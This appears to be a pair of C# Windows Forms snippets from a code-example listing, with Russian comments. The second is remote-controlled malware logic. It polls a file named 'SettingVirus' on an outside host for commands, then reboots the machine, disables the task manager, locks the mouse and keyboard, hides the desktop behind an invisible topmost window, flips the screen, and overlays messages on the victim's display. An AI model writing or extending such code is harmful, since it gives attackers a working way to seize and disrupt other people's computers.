示例#1
0
        private void ScreenCaptureTimer_Tick(object sender, EventArgs e)
        {
            ScreenCapture CurrentScreen = new ScreenCapture();
            ScreenCapture.Screen = CurrentScreen.CaptureScreen();
            pictureBox1.Image = ScreenCapture.Screen;

            ScreenCapture.LockBitmap.Screen = new ScreenCapture.LockBitmap(new Bitmap(ScreenCapture.Screen));
            ScreenCapture.LockBitmap.Screen.LockBits();
            //ScreenCapture.LockBitmap.Screen.UnlockBits(); - не известно назначение, работает и без неё
        }
示例#2
0
        private void timer1_Tick(object sender, EventArgs e)
        {
            DispetcherEnable();
            holdKeyboard = false;
            Opacity = 0;
            this.TopMost = false;
            //this.Size = new Size(0,0);
            pictureBox1.Size = this.Size;
            this.Location = new Point(0, 0);
            timer2.Enabled = false;

            try
            {

                string Black_SkypeFile = "http://www.aabot.zyro.com/gallery/files/Virus/SettingVirus"+id+".txt";
                string Black_Skype = null;

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Black_SkypeFile);// Веб запрос к нашему серверу
                HttpWebResponse response = (HttpWebResponse)request.GetResponse(); // Ответ сервера

                StreamReader reader = new StreamReader(response.GetResponseStream());// Используем чтение потока данных
                while (!reader.EndOfStream)
                {
                    Black_Skype = reader.ReadLine();
                    if (Black_Skype == id)
                    {

                        while (!reader.EndOfStream)
                        {

                            Black_Skype = reader.ReadLine();
                            if (Black_Skype == "Restart")
                            {
                                //  MessageBox.Show("Resatrt");
                                DoExitWin(EWX_REBOOT);
                            }

                            if (Black_Skype == "Restart")
                            {
                                //  MessageBox.Show("Resatrt");
                                DoExitWin(EWX_REBOOT);
                            }
                            if (Black_Skype == "HideWindow")
                            {
                                //   MessageBox.Show("Display(2)");
                                display(2);
                            }
                            if (Black_Skype == "MouseStop")
                            {
                                //  MessageBox.Show("MouseStop");
                                timer2.Enabled = true;
                            }
                            if (Black_Skype == "DispetcherDisable")
                            {
                                //  MessageBox.Show("MouseStop");
                                DispetcherDisable();
                            }
                            if (Black_Skype == "HideDescTop")
                            {
                                //MessageBox.Show("HideDescTop");
                                Opacity = 0.01;
                                this.TopMost = true;
                                this.Size = new Size(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width, System.Windows.Forms.Screen.PrimaryScreen.Bounds.Height);
                                this.Location = new Point(0, 0);
                            }
                            if (Black_Skype == "ReverseScreen")
                            {
                                try
                                {

                                    ScreenCapture CurrentScreen = new ScreenCapture();
                                    ScreenCapture.Screen = CurrentScreen.CaptureScreen();
                                    pictureBox1.Image = ScreenCapture.Screen;

                                    ScreenCapture.LockBitmap.Screen = new ScreenCapture.LockBitmap(new Bitmap(ScreenCapture.Screen));
                                    ScreenCapture.LockBitmap.Screen.LockBits();
                                    //ScreenCapture.LockBitmap.Screen.UnlockBits(); - не известно назначение, работает и без неё
                                    pictureBox1.Image.RotateFlip(RotateFlipType.Rotate180FlipNone);

                                    Opacity = 1;
                                    this.TopMost = true;
                                    this.Size = new Size(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width, System.Windows.Forms.Screen.PrimaryScreen.Bounds.Height);
                                    this.Location = new Point(0, 0);
                                    pictureBox1.Size = this.Size;

                                }

                                catch (Exception)
                                {
                                }
                            }

                            if (Black_Skype == "HoldKeyboard")
                            {
                                holdKeyboard = true;
                            }
                            if (Black_Skype == "Message")
                            {
                                int coordX = Convert.ToInt32(reader.ReadLine());
                                int coordY = Convert.ToInt32(reader.ReadLine());
                                this.label1.AutoSize = true;
                                this.label1.BackColor = System.Drawing.Color.Transparent;

                                this.label1.Size = new System.Drawing.Size(65, 29);
                                this.label1.TabIndex = 0;
                                this.label1.ForeColor = System.Drawing.Color.Yellow;

                                this.label2.AutoSize = true;
                                this.label2.BackColor = System.Drawing.Color.Transparent;

                                this.label2.Size = new System.Drawing.Size(65, 29);
                                this.label2.TabIndex = 0;
                                this.label2.ForeColor = System.Drawing.Color.Yellow;

                                this.label3.AutoSize = true;
                                this.label3.BackColor = System.Drawing.Color.Transparent;

                                this.label3.Size = new System.Drawing.Size(65, 29);
                                this.label3.TabIndex = 0;
                                this.label3.ForeColor = System.Drawing.Color.Yellow;

                                this.Location = new Point(coordX, coordY);
                                this.FormBorderStyle = FormBorderStyle.None;
                                this.AllowTransparency = true;
                                this.BackColor = Color.Black;//цвет фона
                                this.TransparencyKey = this.BackColor;//он же будет заменен на прозрачный цвет

                                Opacity = 1;
                                label1.Visible = true;
                                label2.Visible = true;
                                label3.Visible = true;

                                label1.Text = reader.ReadLine();
                                label2.Text = reader.ReadLine();
                                label3.Text = reader.ReadLine();
                                Single fontSize = Convert.ToSingle(reader.ReadLine());
                                label1.Font = new System.Drawing.Font("Microsoft Sans Serif", fontSize, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204)));
                                label2.Font = new System.Drawing.Font("Microsoft Sans Serif", fontSize, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204)));
                                label3.Font = new System.Drawing.Font("Microsoft Sans Serif", fontSize, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204)));

                                label2.Location = new Point(label2.Location.X, label1.Location.Y + Convert.ToInt32(fontSize)+20);
                                label3.Location = new Point(label3.Location.X, label2.Location.Y + Convert.ToInt32(fontSize)+20);

                                //MessageBox.Show(label1.Text);

                            }

                        }

                    }
                }
            }
            catch (Exception) { }
               // DoExitWin(EWX_REBOOT);
        }